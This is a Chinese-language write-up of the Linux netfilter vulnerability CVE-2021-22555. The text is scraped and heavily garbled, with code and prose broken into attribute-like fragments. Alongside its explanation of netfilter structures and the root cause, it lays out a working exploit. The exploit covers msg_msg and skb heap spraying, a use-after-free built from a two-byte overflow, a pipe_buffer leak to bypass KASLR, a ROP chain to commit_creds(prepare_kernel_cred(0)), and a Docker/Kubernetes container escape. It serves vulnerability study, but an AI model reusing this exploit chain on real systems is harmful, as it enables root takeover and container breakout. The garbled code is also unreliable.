u.kernel.match;" compat_xt_entry_match="" *cm="(struct" *)m;-="" int="" pad,="" off="xt_compat_match_offset(match);+" u_int16_t="" msize="cm->u.user.match_size;" char="" name[sizeof(m->u.user.name)];="" -743,9="" +743,6="" match->compat_from_user(m->data,="" cm->data);="" else="" memcpy(m->data,="" cm->data,="" -="" sizeof(*cm));-="" pad="XT_ALIGN(match->matchsize)" match->matchsize;-="" if="" (pad="" 0)-="" memset(m->data="" +="" match->matchsize,="" 0,="" pad);="" m->u.user.match_size="msize;@@" -1116,7="" +1113,7="" xt_compat_target_from_user(struct="" xt_entry_target="" *t,="" xt_target="" *target="t->u.kernel.target;" compat_xt_entry_target="" *ct="(struct" *)t;-="" tsize="ct->u.user.target_size;" name[sizeof(t->u.user.name)];="" -1126,9="" +1123,6="" target->compat_from_user(t->data,="" ct->data);="" memcpy(t->data,="" ct->data,="" sizeof(*ct));-="" target->targetsize;-="" memset(t->data="" target->targetsize,="" t->u.user.target_size="tsize;保护机制:开启KASLR/SMEP/SMAP。利用总结:" (1)构造4096个msg_msg主消息(0x1000)和辅助消息(0x400),利用2字节溢出写0来修改某个主消息的msg_msg->m_list->next低2字节,使得两个主消息指向同一个辅助消息,将2字节溢出写0转化为uaf。="" (2)注意,spray对象采用skb对象,victim对象采用pipe()管道中的pipe_buf_operations结构。首先利用skb改大msg_msg->m_ts,泄露相邻辅助消息的msg_msg->m_list->prev(主消息地址,也即0x1000堆块地址);="" (3)再利用skb伪造msg_msg->next指向泄露的主消息地址,泄露msg_msg->m_list->next(辅助消息地址,也即0x400堆块地址);="" (4)再利用skb伪造msg_msg->m_list->next="" &="" prev,以避免再次释放辅助消息时访问无效链表地址导致崩溃;="" (5)使pipe_buffer结构占据释放后的0x400空闲块,利用读skb泄露其ops指针,也即内核基址;="" (6)利用skb篡改pipe_buffer->ops->release指针,劫持控制流。="" (7)如果需要进行docker或k8s容器逃逸,则rop链在执行commit_creds(prepare_kernel_cred(0))提权后,需执行switch_task_namespaces(find_task_by_vpid(1),="" init_nsproxy),以替换exp进程的命名空间。1.="" netfilter介绍简介:natfilter="" 是集成到linux内核协议栈中的一套防火墙系统。数据结构的关系:="" (1)netfilter="" 中有包含一些表(table),不同的表用来存储不同功能的配置信息,默认有4种table,还可以另外创建。="" (2)每个table="" 里有多个chain,chain表示对报文的拦截处理点。例如网络层ipv4有5个拦截点,对应5个chain:报文路由前-prerouting,需三层转发的报文-forward,本机生成的报文-output,本机接收的报文-input,路由后的报文-postrouting。="" (3)每个chain="" 包含一些用户配置的rule,一条rule包含了一个或多个匹配规则(match)和一个执行动作(target)。如果报文符合匹配规则后,需要根据该执行动作(target)来处理报文。标准的匹配元素包含源="" 目的ip地址、接收="" 发送设备、传输层协议这五个元素,标准的执行动作包含accept、drop、queue、return。四大功能(table):="" (1)对报文的过滤(对应filter表),包含3个chain—input="" output="" forward。="" (2)对报文的修改(对应mangle表),包含以上5个chain。="" (3)对会话的连接跟踪(connection="" track),包含2个chain,output="" prerouting。="" (4)网络地址转换(nat),包含3个chain,preroungin="" postroutin。table->chain->rule结构关系图示:在内核空间,每个cpu上维护了一份rule的拷贝(有多少个cpu,就有多少个entries)。这样做是为了减少锁的使用及增加硬件l1="" cache的命中次数,以空间换时间。table->chain->rule具体结构:表用="" xt_table="" xt_table_info结构表示;每条rule用ipt_entry结构表示;match匹配规则用xt_entry_match表示(用户空间和内核共享同一结构);target执行动作用xt_entry_target表示(用户空间和内核共享同一结构)。="" (1)xt_table="" ——="" 表struct="" list_head="" list;="" *="" what="" hooks="" you="" will="" enter="" on="" unsigned="" valid_hooks;="" xt_table_info="" *private;="" 指向真正存储rule的结构体="" set="" this="" to="" this_module="" are="" module,="" otherwise="" null="" module="" *me;="" u_int8_t="" af;="" 表所属的协议族="" priority;="" hook="" order="" called="" when="" table="" is="" needed="" in="" the="" given="" netns="" (*table_init)(struct="" *net);="" name[xt_table_maxnamelen];="" 表的名字,如filter="" nat="" mangle};struct="" size;="" 表中所有规则rule占用的内存大小="" number;="" 表中存的rule个数="" initial_entries;="" 初始化表时创建的默认rule个数="" hook_entry[nf_inet_numhooks];="" 各个hook(chain)在表中的偏移量="" underflow[nf_inet_numhooks];="" 各个hook(chain)中默认规则在表中的偏移量="" stacksize;="" ***jumpstack;="" entries[]="" __aligned(8);="" 数组,存储各个cpu上自己rule拷贝的内存首地址};="" (2)ipt_entry="" 规则rulestruct="" ipt_entry{="" ipt_ip="" ip;="" 规则的基本匹配条件,源ip="" 目的ip、输入="" 输出网卡、协议="" nfcache;="" target_offset;="" ipt_entry="" matches="" 这条规则的target距离规则起点的偏移量="" next_offset;="" target="" 下一条规则距离这条规则起点的偏移量="" comefrom;="" xt_counters="" counters;="" 计数器,每条规则都有计数器,一旦skb匹配这条规则,那么计数器累加,计数器有字节数和包数两个统计量="" elems[0];="" 这条规则中的match和target,因为不确定到底有几个match,所以使用零长度数组};="" (3)xt_entry_match="" 匹配规则match,用户空间和内核空间共享match_size和data字段#define="" ipt_entry_match="" xt_entry_matchstruct="" xt_entry_match{="" union="" 用户态和内核态使用不同的结构表示match。它们的第一个成员都是match的总大小="" a.="" 用户态="" match_size;="" name[xt_function_maxnamelen-1];="" 该match的版本,通过match的名称与版本信息可以唯一确定一个match。="" revision;="" }="" user;="" b.="" 内核态="" *match;="" 指向扩展的match信息(每一个扩展match都是一个xt_match对象)。根据ipt_entry_match.u.user.name找到对应的match,将ipt_entry_match.u.kernel.match指针指向系统中已注册的struct="" xt_match对象="" kernel;="" 整个match占用的内存空间="" u;="" data[0];};="" (4)xt_entry_target="" 执行动作target,用户空间和内核空间共享match_size字段#define="" ipt_entry_target="" xt_entry_targetstruct="" xt_entry_target{="" target_size;="" *target;="" target信息,如果target->target()函数指针为null,那么是一个标准target,否则为扩展target。根据ipt_entry_target.u.user.name找到对应的target,将ipt_entry_target.u.kernel.target指针指向系统中已注册的struct="" xt_target对象="" data[0];="" 对于扩展target,该指针指向内容会传给其target()回调,这个指针内容由扩展target自由使用,只要内核态和用户态保持一致就可以};应用层与netfilter的通信机制:netfilter和用户空间进行通信使用的是两个socket的系统调用,setsockopt()和getsockopt(),把用户空间的地址传给内核,内核使用copy_from_user()="" 和="" copy_to_user()来进行数据的传递。基于setsockopt和getsockopt系统调用的机制,netfilter提供了一个基本框架,允许不同协议的防火墙来自己实现自己和用户空间的通信函数,涉及两个函数,调用nf_register_sockopt()将nf_sockopt_ops结构实例注册到netfilter管理的全局链表上,调用nf_sockopt_find()查找对应命令字的nf_sockopt_ops结构。2.="" 漏洞分析2-1="" 漏洞原因漏洞:xt_compat_target_from_user()函数,将xt_entry_match->data指向的缓冲区进行8字节对齐,不足8字节的空间清0,但如果target->targetsize没有8字节对齐,这里会越界将pad个字节清0。target->targetsize并不由用户直接控制,可以通过选择不同的target结构体类型来控制targetsize大小。#ifdef="" config_compatint="" xt_compat_target_offset(const="" *target){="" csize="target->compatsize" ?="" :="" target->targetsize;="" return="" xt_align(target->targetsize)="" compat_xt_align(csize);}export_symbol_gpl(xt_compat_target_offset);void="" *size){="" *)t;="" ct="t的副本" t="*dstptr;" memcpy(t,="" ct,="" sizeof(*ct));="" 拷贝到="" dstptr="" (target->compat_from_user)="" [1]="" 对缓冲区进行8字节对齐,target->targetsize="" 用来指定t->data实际使用长度="" 0)="" [2]="" 将不足8字节的剩余空间清0,存在越界写0="" strlcpy(name,="" target->name,="" sizeof(name));="" module_put(target->me);="" strncpy(t->u.user.name,="" name,="" sizeof(t->u.user.name));="" *size="" *dstptr="" 漏洞触发流程跟踪ip_tables模块初始化流程:ip_tables_init()="" nf_register_sockopt()="" nf_sockopt_ops="" ipt_sockopts="" 注册setsockopt。这样用户调用setsockopt时,才能找到对应的处理函数,也即do_ipt_set_ctl()。static="" __init="" ip_tables_init(void){="" ret;="" ret="register_pernet_subsys(&ip_tables_net_ops);" array_size(ipt_builtin_tg));="" array_size(ipt_builtin_mt));="" register="" setsockopt="" <-------------="" [...="" ...]="" ret;}static="" .pf="PF_INET," .set_optmin="IPT_BASE_CTL," .set_optmax="IPT_SO_SET_MAX+1," .set="do_ipt_set_ctl," <---------------="" do_ipt_set_ctl()="" .get_optmin="IPT_BASE_CTL," .get_optmax="IPT_SO_GET_MAX+1," .get="do_ipt_get_ctl," .owner="THIS_MODULE,};漏洞触发流程:setsockopt(s," sol_ip,="" ipt_so_set_replace,="" ...)="" nf_setsockopt()="" compat_do_replace()="" translate_compat_table()="" compat_copy_entry_from_user()="" xt_compat_match_from_user="" xt_compat_target_from_user()总之就是将用户传入的rule规则进行转换存储时,出现堆溢出写0。构造用户参数data,通过控制pad大小,控制溢出字节数。data->ipt_replace->size="0xFB6,导致分配sizeof(xt_table_info)" ipt_replace->size="0x40+0xfB6" =="" 0xff6的堆块,转换用户传入规则时错误对齐,刚好溢出覆盖下一个0x1000堆块的前2="" 字节,造成指针的指向错误。用户参数:综上,用户传入的参数结构为="" ipt_replace="" xt_entry_target。注意,="" compat_ipt_replace="" 等同于="" 结构。="" do_ipt_set_ctl()static="" do_ipt_set_ctl(struct="" sock="" *sk,="" cmd,="" sockptr_t="" arg,="" len){="" (!ns_capable(sock_net(sk)->user_ns,="" cap_net_admin))="" 需满足="" cap_net_admin="" 权限,可以在启动脚本赋予exp权限,或者支持namespace就行="" -eperm;="" switch="" (cmd)="" case="" ipt_so_set_replace:#ifdef="" config_compat="" 编译内核时需设置="" (in_compat_syscall())="" len);="" <-----------------="" else#endif="" ...="" ret;}="" 分配="" 结构,="" 拷贝用户参数static="" compat_do_replace(struct="" *net,="" tmp;="" *newinfo;="" *loc_cpu_entry;="" *iter;="" (copy_from_sockptr(&tmp,="" sizeof(tmp))="" !="0)" [3]="" 获取size参数,用户参数开头是="" (内核)变长结构,等同于="" (用户)结构="" -efault;="" overflow="" check="" (tmp.num_counters="" sizeof(struct="" xt_counters))="" -enomem;="" -einval;="" tmp.name[sizeof(tmp.name)-1]="0;" newinfo="xt_alloc_table_info(tmp.size);" [4]="" 分配空间="" kvmalloc(sz,="" gfp_kernel_account);="" 分配大小="" sz="sizeof(xt_table_info)" (0xfb8="" 0x2)="0xFF8" 0x2="" 注意两点,一是分配采用="" gfp_kernel_account="" 标志(与gfp_kernel相同,除了分配记入kmemcg),二是分配的堆块属于0x1000。="" 分配之后赋值="" xt_table_info->size="ipt_replace->size" 0xfb6="" (!newinfo)="" loc_cpu_entry="newinfo->entries;" (copy_from_sockptr_offset(loc_cpu_entry,="" sizeof(tmp),="" [5]="" 拷贝用户参数,="" 从偏移arg+sizeof(ipt_replace)="" 开始拷贝,跳过="" 结构="" tmp.size)="" goto="" free_newinfo;="" &newinfo,="" &loc_cpu_entry,="" &tmp);="" [6]="" <--------------="" (ret="" tmp.name,="" tmp.valid_hooks,="" newinfo,="" tmp.num_counters,="" compat_ptr(tmp.counters));="" 分配新的="" 结构,进行转换static="" translate_compat_table(struct="" **pinfo,="" **pentry0,="" *compatr){="" i,="" j;="" *newinfo,="" *info;="" *pos,="" *entry0,="" *entry1;="" compat_ipt_entry="" *iter0;="" repl;="" info="*pinfo;" entry0="*pentry0;" size="compatr->size;" info->number="compatr->num_entries;" 传入的是1="" [7]="" 转换后存入="" out_unlock;="" newinfo->number="compatr->num_entries;" for="" (i="0;" i="" <="" nf_inet_numhooks;="" i++)="" newinfo->hook_entry[i]="compatr->hook_entry[i];" newinfo->underflow[i]="compatr->underflow[i];" entry1="newinfo->entries;" pos="entry1;" xt_entry_foreach(iter0,="" entry0,="" compatr->size)="" compat_copy_entry_from_user(iter0,="" &pos,="" &size,="" [8]="" 转换entry结构,从32位到64位,传给="" entry1);="" ...}="" 旧的="" 拷贝到新的="" 结构static="" compat_copy_entry_from_user(struct="" *e,="" *size,="" *base){="" *t;="" *de;="" origsize;="" h;="" *ematch;="" origsize="*size;" de="*dstptr;" memcpy(de,="" e,="" ipt_entry));="" [9]="" 先拷贝="" memcpy(&de->counters,="" &e->counters,="" sizeof(e->counters));="" 包和字节计数="" ipt_entry);="" ipt_entry)="" compat_ipt_entry);="" xt_ematch_foreach(ematch,="" e)="" xt_compat_match_from_user(ematch,="" dstptr,="" size);="" [10]="" 再拷贝="" match->matchsize="4," 拷贝完成后*dstptr+="msize" 0xffff888006e010b0+0xf2a="FFFF888006E01FDA," size+="off" 0xfba="" de->target_offset="e->target_offset" (origsize="" *size);="" target_offset="" 原来是="" 结构的大小,现在减小了="" 4="" xt_compat_target_from_user(t,="" [11]="" <------------="" 漏洞函数:="" 如下所示="" de->next_offset="e->next_offset" xt_compat_target_from_user()="" 拷贝="" 结构,对齐导致溢出void="" 拷贝0x20="" [12]="" t+0x20+4="" 处填充pad个0,也就是="" 0xffff888006e01ffe处填4个0,溢出2个字节,="" <-------------------------="" 溢出点="" 0xfbe="" 变长结构,entries为用户传入,每个entries="" 包含="" xt_entry_target,第一节中已经介绍过。struct="" entries="" 总大小,="" 不包括="" 结构大小0x40="" 数目="" 每个`entries`="" `ipt_entry`="" `xt_entry_match`="" `xt_entry_target`};3.="" 漏洞利用msg_msg结构的创建与读取,也即消息的发送与接收,可以参考文章="" linux内核中利用msg_msg结构实现任意地址读写="" 中对msgsnd()和msgrcv()源码的分析过程。3-1="" 漏洞转化:2字节溢出写0转化为uaf(1)调用msgget()创建4096个消息队列消息队列数目没有限制,但创建越多,exp越稳定="" (int="" num_msqids;="" ((msqid[i]="msgget(IPC_PRIVATE," ipc_creat="" |="" 0666))="" perror("[-]="" msgget");="" err_no_rmid;="" }(2)主消息填充目的:填充4096个主消息,消息大小为0x1000,以得到一个整齐的空间布局,使msg_msg结构体尽可能相邻。int="" write_msg(int="" msqid,="" *msgp,="" size_t="" msgsz,="" long="" msgtyp)="" *(long="" *)msgp="msgtyp;" (msgsnd(msqid,="" msgp,="" msgsz="" sizeof(long),="" msgsnd");="" -1;="" 0;}="" printf("[*]="" spraying="" primary="" messages...\n");="" memset(&msg_primary,="" sizeof(msg_primary));="" *(int="" *)&msg_primary.mtext[0]="MSG_TAG;" *)&msg_primary.mtext[4]="i;" (write_msg(msqid[i],="" &msg_primary,="" sizeof(msg_primary),="" mtype_primary)="" err_rmid;="" }int="" msgsend(int="" msgid,="" *msg_ptr,="" msg_sz,="" msgflg)msgid——消息队列标识符;msg_ptr——指向结构体{mtype,="" mtext};msg_ptr.mtext[0]="MSG_TAG——" 标识该内存区域为堆喷控制;msg_ptr.mtext[4]="i——" 标识该内存区id,以便识别内存区。(3)辅助消息填充为每个消息队列添加辅助消息,消息大小为0x400,消息标识与主消息对应。="" secondary="" memset(&msg_secondary,="" sizeof(msg_secondary));="" *)&msg_secondary.mtext[0]="MSG_TAG;" *)&msg_secondary.mtext[4]="i;" &msg_secondary,="" sizeof(msg_secondary),="" mtype_secondary)="" }(4)释放部分主消息目的:释放第1024、2048、3072个主消息,获得0x1000内存空洞,希望被xt_table_info结构获得,这样就能利用2字节溢出写0。int="" read_msg(int="" (msgrcv(msqid,="" msgtyp,="" msgrcv");="" creating="" holes="" (read_msg(msqid[i],="" }(5)触发漏洞利用2字节溢出,将相邻的msg_msg结构体中msg_msg->m_list->next末尾两字节覆盖为0,="" 使得该主消息的msg_msg->m_list->next指向其他主消息的辅助消息。目的:使某个内存被两个主消息引用。="" triggering="" out-of-bounds="" write...\n");="" (trigger_oob_write(s)="" err_rmid;(6)定位发生错误的消息队列索引方法:直接查看消息内存,如果主消息和辅助消息队列的标识不同,则表示主消息msg_msg->m_list->next成员被修改。为保证查看消息时,避免消息被释放,需使用msg_copy标志接收消息。="" searching="" corrupted="" message...\n");="" &&="" %="" hole_step)="=" continue;="" (peek_msg(msqid[i],="" 1)="" (*(int="" printf("[-]="" error="" could="" not="" corrupt="" any="" message.\n");="" fake_idx="i;" real_idx="*(int" *)&msg_secondary.mtext[4];="" break;="" (fake_idx="=" -1="" -1)="" fake_idx's="" message="" has="" next="" pointer;="" wrongly="" pointing="" real_idx's="" message.="" printf("[+]="" fake_idx:="" %x\n",="" fake_idx);="" real_idx:="" real_idx);(7)spray对象和victim对象占据msg_msg使用包含函数指针的victim结构体和spray结构体(skb)来占据msg_msg。假设现在主消息1和主消息2的msg_msg->m_list->next指向同一辅助消息。="" 1.主消息1放弃辅助消息msg_msg,="" skb占据msg_msg="" 2.主消息2放弃辅助消息msg_msg,="" victim结构占据msg_msg="" 3.此时skb与victim结构占据同一内存空间="" 4.修改skb劫持victim结构内函数指针="" 5.触发victim结构函数指针,劫持控制流="" 但是注意到当实现步骤2时,必须伪造msg_msg->m_list->next成员,如果此时主消息2释放msg_msg,辅助消息会被从循环链表msg_msg->m_list中去除,也就是说此阶段会涉及到对于msg_msg->m_list->next的读写,因为开启了smap保护机制,所以在用户态伪造该字段无意义,内核在此处会检查到smap错误,利用失败,所以接下来需要绕过smap。3-2="" 避免崩溃:伪造msg_msg->m_list->next="" prev指针(1)释放被重复引用的辅助消息="" freeing="" real="" (read_msg(msqid[real_idx],="" err_rmid;(2)skb堆喷并伪造辅助消息注意:伪造m_ts字段(最大化),表示消息长度,以便越界读取,泄露地址。void="" build_msg_msg(struct="" msg_msg="" *msg,="" uint64_t="" m_list_next,="" m_list_prev,="" m_ts,="" next)="" msg->m_list_next="m_list_next;" msg->m_list_prev="m_list_prev;" msg->m_type="MTYPE_FAKE;" msg->m_ts="m_ts;" msg->next="next;" msg->security="0;}int" spray_skbuff(int="" ss[num_sockets][2],="" *buf,="" size)="" num_sockets;="" j="0;" num_skbuffs;="" j++)="" (write(ss[i][0],="" buf,="" write");="" fake="" memset(secondary_buf,="" sizeof(secondary_buf));="" build_msg_msg((void="" *)secondary_buf,="" 0x41414141,="" 0x42424242,="" page_size="" msg_msg_size,="" 0);="" (spray_skbuff(ss,="" secondary_buf,="" sizeof(secondary_buf))="" err_rmid;(3)泄露相邻辅助消息->主消息的堆地址(0x1000堆块地址)由于m_ts变大,可以越界读取相邻辅助消息的消息头,主要是泄露msg_msg->m_list->next和msg_msg->m_list->prev(相邻辅助消息的主消息堆地址,记为kheap_addr)。="" use="" read="" out-of-bounds.="" leaking="" adjacent="" (peek_msg(msqid[fake_idx],="" &msg_fake,="" sizeof(msg_fake),="" leak="" valid.="" *)&msg_fake.mtext[secondary_size]="" contains="" pointer="" msg="(struct" *)&msg_fake.mtext[secondary_size="" msg_msg_size];="" kheap_addr="msg->m_list_next;" (kheap_addr="" (primary_size="" 1))="" kheap_addr:="" %"="" prix64="" "\n",="" kheap_addr);(4)泄露fake辅助消息的堆地址(0x400堆块地址)释放skb,重新填充该fake辅助消息,msg_msg->next="kheap_addr,因此,某个主消息成了该辅助消息的segment(msg_msgseg结构)。这样就能越界读取主消息的头,主消息的msg_msg->m_list->next指向与之对应的辅助消息,也即fake辅助消息相邻的辅助消息,该内存地址-0x400,即为fake辅助消息的真实地址。再次释放skb,将fake辅助消息的msg_msg->m_list->next填充为该fake辅助消息的真实地址,即可再次释放fake辅助消息时避免SMAP崩溃。" free_skbuff(ss,="" put="" at="" its="" content.="" assumes="" zero="" bytes="" before="" kheap_addr.="" sizeof(msg_fake.mtext),="" msg_msgseg_size);="" fist="" 8="" must="" be="" from="" *)&msg_fake.mtext[page_size]="" *)&msg_fake.mtext[page_size="" (secondary_size="" calculate="" address="" of="" kheap_addr);3-3="" 绕过kaslr目标:泄露内核基址。方法:伪造fake辅助消息,msg_msg->m_list->next="=" msg_msg->m_list->pre="=" fake辅助消息;利用主消息2释放辅助消息,使用pipefd函数分配pipe_buffer结构体重新占据fake辅助消息堆块;通过读skb泄露anon_pipe_buf_ops地址,绕过kaslr。pipe_buffer结构体中ops成员指向全局变量anon_pipe_buf_ops。为什么不用tty_struct="" 来泄露?="" m_list_next="" m_list_prev="" so="" that="" list_del()="" possible.="" kheap_addr,="" sk_buff="" data="" buffer...\n");="" (read_msg(msqid[fake_idx],="" mtype_fake)="" pipe_buffer="" objects...\n");="" num_pipefds;="" (pipe(pipefd[i])="" pipe");="" write="" something="" populate="" pipe_buffer.="" (write(pipefd[i][1],="" "pwn",="" 3)="" and="" object...\n");="" (read(ss[i][1],="" read");="" (*(uint64_t="" *)&secondary_buf[0x10]="" pipe_buffer_ops="*(uint64_t" *)&secondary_buf[0x10];="" kbase_addr="pipe_buffer_ops" anon_pipe_buf_ops;="" anon_pipe_buf_ops:="" pipe_buffer_ops);="" kbase_addr:="" kbase_addr);3-4="" 劫持控制流此时skb与pipe_buffer占据同一块内存,利用skb伪造pipe_buffer->ops指向本堆块,再伪造pipe_buffer->ops->release指向第1个ropgadget,劫持控制流。="" buf="(struct" *)&secondary_buf;="" buf->ops="kheap_addr" 0x290;="" ops="(struct" pipe_buf_operations="" *)&secondary_buf[0x290];#ifdef="" kernel_cos_5_4_89="" rax="" points="" &buf->ops.="" rcx="" &buf.="" ops->release="kbase_addr" push_rax_jmp_qword_ptr_rcx;#elif="" kernel_ubuntu_5_8_0_48="" rsi="" push_rsi_jmp_qword_ptr_rsi_39;#endif="" build_krop(secondary_buf,="" kbase_addr,="" 0x2b0);="" trigger="" pipe_release().="" releasing="" (close(pipefd[i][0])="" close");="" (close(pipefd[i][1])="" }rop流程:调用pipe_buffer->ops时,rsi指向pipe_buffer地址,所以需构造rop将rsi赋值给rsp="" (1)没有找到类似mov="" rsp,="" rsi和push="" rsi;="" pop="" rsp的gadget,只能先伪造pipe_buffer->ops函数表,pipe_buffer->ops->release指向gadget—push="" jmp="" qword="" ptr="" [rsi="" 0x39]="" (2)在rsi+0x39处(pipe_buffer+0x39处)放置gadget—pop="" rsp;="" (3)在rsi处(pipe_buffer处)放置gadget—add="" 0xd0;="" 避免破坏pipe_buffer+0x10="" 0x18="" (4)在rsi+0xd8处(pipe_buffer+0xd8处)继续布置rop链="" (5)先将rbp保存到rsi+0x2b0处(pipe_buffer+0x2b0处),注意,enter="" 指令等同于="" push="" rbp;="" mov="" rbp,="" rsp="" rbp="rsp,enter" 8,="" sub="" save="" scratchpad_addr.="" *rop++="kbase_addr" enter_0_0_pop_rbx_pop_r12_pop_rbp_ret;="" ;="" rbx="" r12="" mov_qword_ptr_r12_rbx_pop_rbx_pop_r12_pop_rbp_ret;="" [r12],="" rbx;="" r12;="" r13;="" r13="" (6)执行commit_creds(prepare_kernel_cred(0))提权="" commit_creds(prepare_kernel_cred(null))="" pop_rdi_ret;="" rdi;="" rdi="" prepare_kernel_cred;="" pop_rcx_ret;="" rcx;="" cmp_rcx_4_jne_pop_rbp_ret;="" cmp="" rcx,="" 4;="" jne="" 0x274579;="" mov_rdi_rax_jne_xor_eax_eax_ret;="" rdi,="" rax;="" 0x788d41;="" xor="" eax,="" eax;="" commit_creds;="" (7)从docker、k8s容器(kubernetes)中逃逸,参考="" route="" root:="" container="" escape="" using="" exploitation="" 利用="" linux="" 内核漏洞实现="" docker="" 逃逸。本环境没有用到容器,这一步不执行也能提权。="" 如果linux运行在容器环境中,即使提权成功,由于所在的命名空间权限受限,即使是root也会受限(如文件系统只读等)。方法1,可以将初始进程(pid="1)的task_struct->fs(存放着进程根目录及工作目录)复制到exp所在的进程,就能将exp进程的根目录设置到宿主机中了,但这种方法可能环境变量不对(需采用完整路径执行程序);方法2,task_struct->nsproxy指向当前进程的命名空间,可以用系统初始化时的全局命名空间init_nsproxy替换exp所在进程的nsproxy,执行switch_task_namespaces(find_task_by_vpid(1)," init_nsproxy)即可。="" switch_task_namespaces(find_task_by_vpid(1),="" init_nsproxy)="" find_task_by_vpid;="" find_task_by_vpid="" pop_rsi_ret;="" init_nsproxy;="" init_nsproxy="" switch_task_namespaces;="" switch_task_namespaces="" (8)恢复rbp="" rsp,rsi+0x2b0处(pipe_buffer+0x2b0处)="" load="" scratchpad_addr="" resume="" execution.="" pop_rbp_ret;="" 0xa;="" push_qword_ptr_rbp_a_pop_rbp_ret;="" [rbp="" 0xa];="" mov_rsp_rbp_pop_rbp_ret;="" 3-5="" 提权成功4.="" 知识补充4-1="" victim对象pipe_buffer="" 对象="" :包含全局函数表指针ops。struct="" page="" *page;="" 读写pipe时,="" 实际上是读写page地址="" offset,="" len;="" *ops;="" <--------="" 函数表="" flags;="" private;};struct="" (*confirm)(struct="" pipe_inode_info="" *,="" *);="" 确保="" pipe="" buffer="" 中的数据有效,有效则返回0,无效则返回负值错误码。="" (*release)(struct="" 释放="" bool="" (*try_steal)(struct="" (*get)(struct="" *);};pipe="" 操作函数表:pipefifo_fopsconst="" file_operations="" pipefifo_fops="{" .open="fifo_open," <-------="" open="" .llseek="no_llseek," .read_iter="pipe_read," .write_iter="pipe_write," .poll="pipe_poll," .unlocked_ioctl="pipe_ioctl," .release="pipe_release," release="" .fasync="pipe_fasync," .splice_write="iter_file_splice_write,};pipe_buffer分配:alloc_pipe_info()" 分配大小为0x280(默认16个page,16*0x28="0x280),所以位于0x400堆块中。分配调用链:(1)pipe()" do_pipe2()="" __do_pipe_flags()="" create_pipe_files()="" get_pipe_inode()="" alloc_pipe_info()="" (2)fifo_open()="" alloc_pipe_info()struct="" *alloc_pipe_info(void){="" *pipe;="" pipe_bufs="PIPE_DEF_BUFFERS;" user_struct="" *user="get_current_user();" user_bufs;="" max_size="READ_ONCE(pipe_max_size);" pipe_inode_info),="" pipe->bufs="kcalloc(pipe_bufs," pipe_buffer),="" 16*sizeof(pipe_buffer)="16*0x28" 370,="" 注意也是="" 标志="" null;}pipe_buffer释放:pipe_release()="" put_pipe_info()="" free_pipe_info="" pipe_buf_release()="" 调用pipe_buffer->ops->release="" 函数,可劫持控制流。static="" inline="" pipe_buf_release(struct="" *pipe,="" *buf){="" *ops="buf->ops;" ops->release(pipe,="" buf);="" 劫持控制流}4-2="" spray对象skb喷射:采用socketpair()创建一对无名的、相互连接的套接字,int="" socketpair(int="" domain,="" type,="" protocol,="" sv[2]),函数成功则返回0,="" 创建好的套接字分别是sv[0]和sv[1],失败则返回-1。可以往sv[0]中写,从sv[1]中读;或者从sv[1]中写,从sv[0]中读,相关函数为write()和read()。也可以调用sendmsg()和recvmsg()来发送和接收数据,用户参数是msghdr结构。本exp是采用write()和read()进行堆喷和释放的。size:0x280="" 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops。创建链:write="" ksys_write()="" vfs_write()="" new_sync_write()="" call_write_iter()="" sock_write_iter()="" sock_sendmsg()="" sock_sendmsg_nosec()="" unix_stream_sendmsg()="" sock_alloc_send_pskb()="" alloc_skb_with_frags()="" alloc_skb()="" __alloc_skb()read链:read="" ksys_read()="" vfs_read()="" new_sync_read()="" call_read_iter()="" sock_read_iter()="" sock_recvmsg()="" sock_recvmsg_nosec()="" unix_stream_recvmsg()="" unix_stream_read_generic()="" unix_stream_read_actor()="" skb_copy_datagram_msg()="" skb_copy_datagram_iter()="" __skb_datagram_iter()write链:="" skb_copy_datagram_from_iter()static="" ssize_t="" sock_write_iter(struct="" kiocb="" *iocb,="" iov_iter="" *from){="" file="" *file="iocb->ki_filp;" socket="" *sock="file->private_data;" msghdr="" *from,="" 组装msg结构,="" 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样)="" .msg_iocb="iocb};" res;="" (iocb->ki_pos="" -espipe;="" (file->f_flags="" o_nonblock="" ||="" (iocb->ki_flags="" iocb_nowait))="" msg.msg_flags="MSG_DONTWAIT;" (sock->type="=" sock_seqpacket)="" res="sock_sendmsg(sock," &msg);="" *from="msg.msg_iter;" res;}int="" skb_copy_datagram_from_iter(struct="" *skb,="" start="skb_headlen(skb);" skb->len="" skb->data_len;="" copy="start" offset;="" 是线性数据区的剩余空间大小="" *frag_iter;="" 拷贝到线性数据区="" skb->data="" (copy="" len)="" (copy_from_iter(skb->data="" copy,="" from)="" fault;="" ((len="" 0;="" offset="" 拷贝到非线性数据区="" skb->frags="" skb_shinfo(skb)->nr_frags;="" end;="" skb_frag_t="" *frag="&skb_shinfo(skb)->frags[i];" warn_on(start="" end="start" skb_frag_size(frag);="" ((copy="end" offset)="" copied;="" copied="copy_page_from_iter(skb_frag_page(frag)," skb_frag_off(frag)="" start,="" from);="" (copied="" (!(len="" skb->fraglist="" skb_walk_frags(skb,="" frag_iter)="" (iter="skb_shinfo(skb)->frag_list;" iter;="" iter="iter->next)" frag_iter->len;="" (skb_copy_datagram_from_iter(frag_iter,="" from,="" copy))="" (!len)="" ...}export_symbol(skb_copy_datagram_from_iter);4-3="" gfp_kernel_account标志为了使xt_table_info漏洞对象、spray对象、victim对象、占位对象位于同一cache,由于漏洞对象是用gfp_kernel_account标志分配的,所以其他对象也应该用gfp_kernel_account标志来分配(原作者指出,在linux="" 5.9之前,不同的slab被用于计数)。victim对象——pipe_buffer结构和占位对象——msg_msg结构(参见文章[7]中的分析)都是用gfp_kernel_account标志来分配的。根据文章="" pwn="" –="" uaf="" 中所述,slab内存管理机制对内核对象的类型十分挑剔,只有类型和大小都完全一致的对象才能重用其空间;但是slub对对象类型就没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。本文我编译时默认采用的slub内存管理。4-4="" 64位系统下编译32位程序#="" gcc="" -m32="" 选项="" $="" sudo="" apt-get="" update$="" purge="" libc6-dev$="" install="" libc6-dev-i386参考[1]="" https:="" nvd.nist.gov="" vuln="" detail="" cve-2021-22555="" 漏洞公告[2]="" cve-2021-22555:="" turning="" \x00\x00="" into="" 10000$="" writeup英文[3]="" cve-2021-22555-exploit="" exp[4]="" 从="" x00x00="" 到10000$奖金="" writeup中文[5]="" 隐藏十五年的漏洞:cve-2021-22555="" 漏洞分析与复现="" writeup中文[6]="" linux内核提权="" writeup中文[7]="" msg_msg结构的创建与读取,占位对象[8]="" socketpair的用法和理解="" socketpair()="" 函数,用于堆喷[9]="" linux进程间通信(七):消息队列="" 